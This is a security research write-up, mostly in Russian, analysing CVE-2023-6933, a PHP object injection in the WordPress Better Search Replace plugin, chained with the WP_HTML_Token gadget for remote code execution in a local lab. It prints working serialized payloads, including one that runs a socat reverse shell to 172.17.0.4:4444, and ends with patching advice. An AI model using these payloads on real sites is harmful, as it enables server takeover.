
Introduction to CVE-2023-6933 Vulnerability
Плагин «Better Search Replace» для WordPress содержит критическую уязвимость, известную как внедрение PHP-объектов (PHP Object Injection). Эта уязвимость присутствует во всех версиях до 1.4.4 включительно. Она возникает из‑за десериализации недоверенных входных данных, что позволяет неаутентифицированным злоумышленникам внедрить PHP-объект в систему. Примечательно, что сам плагин не содержит цепочки внедрения PHP-объектов (POI-цепочки). Однако если на целевой системе установлен другой уязвимый плагин или тема, содержащие такую цепочку, данная уязвимость потенциально может позволить злоумышленникам удалять произвольные файлы, получать доступ к конфиденциальным данным или выполнять вредоносный код.
В этом анализе мы также рассмотрим уязвимость в WordPress версии 6.4.0, которая была исправлена для устранения проблемы удалённого выполнения кода (RCE). Кроме того, мы исследуем возможность объединения этих двух уязвимостей для достижения неаутентифицированного удалённого выполнения кода.
Чтобы узнать текущую стабильную версию плагина Better Search Replace, выполните следующую команду:
echo 'http://wp6.4-better-search-replace-before-1.4.5.local' \
| sed "s'$'/wp-content/plugins/better-search-replace/README.txt'" \
| httpx -silent -mc 200 -er 'Stable tag:.*'
http://wp6.4-better-search-replace-before-1.4.5.local/wp-content/plugins/better-search-replace/README.txt [Stable tag: 1.4.3]
Сначала я развернул три Docker-контейнера для анализа:
Чтобы глубже понять уязвимость, я начал анализировать отдельные коммиты в репозитории GitHub плагина «Better Search Replace». Эти коммиты потенциально содержат важную информацию о природе и исправлениях уязвимости.

В этой функции можно наблюдать следующие параметры:
from: текст, который нужно заменить.to: замещающий текст.data: данные, подлежащие замене.Важно отметить, что данные передаются напрямую в функцию $this->unserialize($data).

Следовательно, мы видим, что строка будет десериализована.
Чтобы определить, куда можно внедрить сериализованный объект в data, мы исследуем визуальный интерфейс плагина.

Таким образом, мы можем поместить сериализованный объект в одну из этих таблиц, но нам нужен уязвимый сериализованный объект для достижения удалённого выполнения кода (RCE).
В WordPress версии 6.4.0 был добавлен PHP-объект WP_HTML_Token. Ниже приведено описание его структуры и возможностей для эксплуатации:
main.php
<?php
class WP_HTML_Token {
public $bookmark_name = null;
public $node_name = null;
public $has_self_closing_flag = false;
public $on_destroy = null;
/**
* Constructor - creates a reference to a token in some external HTML string.
*
* @since 6.4.0
*
* @param string $bookmark_name Name of bookmark corresponding to location in HTML where token is found.
* @param string $node_name Name of node token represents; if uppercase, an HTML element; if lowercase, a special value like "marker".
* @param bool $has_self_closing_flag Whether the source token contains the self-closing flag, regardless of whether it's valid.
* @param callable $on_destroy Function to call when destroying token, useful for releasing the bookmark.
*/
public function __construct( $bookmark_name, $node_name, $has_self_closing_flag, $on_destroy = null ) {
$this->bookmark_name = $bookmark_name;
$this->node_name = $node_name;
$this->has_self_closing_flag = $has_self_closing_flag;
$this->on_destroy = $on_destroy;
}
public function __destruct() {
if ( is_callable( $this->on_destroy ) ) {
call_user_func( $this->on_destroy, $this->bookmark_name );
}
}
}
Функция call_user_func внутри метода __destruct является ключевой для эксплуатации. Она требует:
$this->on_destroy: вызываемая функция.
$this->bookmark_name: аргумент для вызываемой функции.
Для эксплуатации я добавил следующие строки в конец файла main.php (примечание: перед сериализацией закомментируйте строку с call_user_func):
$token = new WP_HTML_Token("touch /tmp/rce", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
php main.php
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:14:"touch /tmp/rce";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}
Теперь можно проверить теорию, добавив неаутентифицированный комментарий на веб-сайте.

Пришло время использовать плагин для запуска функции десериализации.

Файл был создан, как и ожидалось, поэтому RCE при десериализации и при уничтожении объекта работает корректно.

Сохранение удалённых комментариев: Даже если комментарий удалён, он остаётся в базе данных с пометкой «не показывать пользователю». Однако плагин не различает видимые и невидимые комментарии и всё равно десериализует объект.
Десериализация во время тестового прогона: Процесс десериализации происходит даже в режиме тестового прогона, что является серьёзным упущением с точки зрения безопасности.
Первоначальная оценка: Классификация Common Vulnerability Scoring System (CVSS) от Wordfence, по моему мнению, ошибочна. Она должна составлять 8.8.
Пересмотренная оценка: Текущий показатель CVSS равен 9.8. Однако такая оценка упускает из виду, что для выполнения десериализации кода необходимо «взаимодействие пользователя с правильной таблицей». Чтобы подтвердить это, я связался с исследователем Сэмом Пиззи (Sam Pizzey), который подтвердил моё наблюдение: для выполнения уязвимости требуется, чтобы кто-то взаимодействовал с плагином.
Для тех, кто интересуется техниками обратной оболочки, я адаптировал свою полезную нагрузку, чтобы упростить этот процесс. Это может применяться на сайтах, где регистрация открыта для всех:
$token = new WP_HTML_Token("socat TCP:172.17.0.4:4444 EXEC:/bin/bash", "nodeName", false, 'system');
$serializedObject = serialize($token);
echo $serializedObject;
O:13:"WP_HTML_Token":4:{s:13:"bookmark_name";s:40:"socat TCP:172.17.0.4:4444 EXEC:/bin/bash";s:9:"node_name";s:8:"nodeName";s:21:"has_self_closing_flag";b:0;s:10:"on_destroy";s:6:"system";}

Затем я открыл слушатель для ожидания входящего соединения.


Наконец, я успешно получил соединение обратной оболочки.

Этот документ представляет подробный обзор уязвимости CVE-2023-6933, включая её влияние, технические детали и стратегии смягчения последствий. Понимание и устранение этой уязвимости критически важно для поддержания безопасности и целостности установок WordPress, использующих плагин «Better Search Replace».
Для устранения уязвимости обновите плагин до версии выше Better Search Replace 1.4.4 и выполните обновление WordPress.
Автор: Maxime Paillé
GitHub: w2xim3
LinkedIn: LinkedIn Profile